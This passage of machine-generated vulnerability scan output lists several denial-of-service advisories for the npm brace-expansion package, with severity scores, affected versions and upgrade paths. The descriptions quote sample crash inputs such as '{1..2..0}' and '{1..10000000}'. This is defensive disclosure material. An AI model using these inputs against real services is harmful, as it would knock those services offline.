Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": 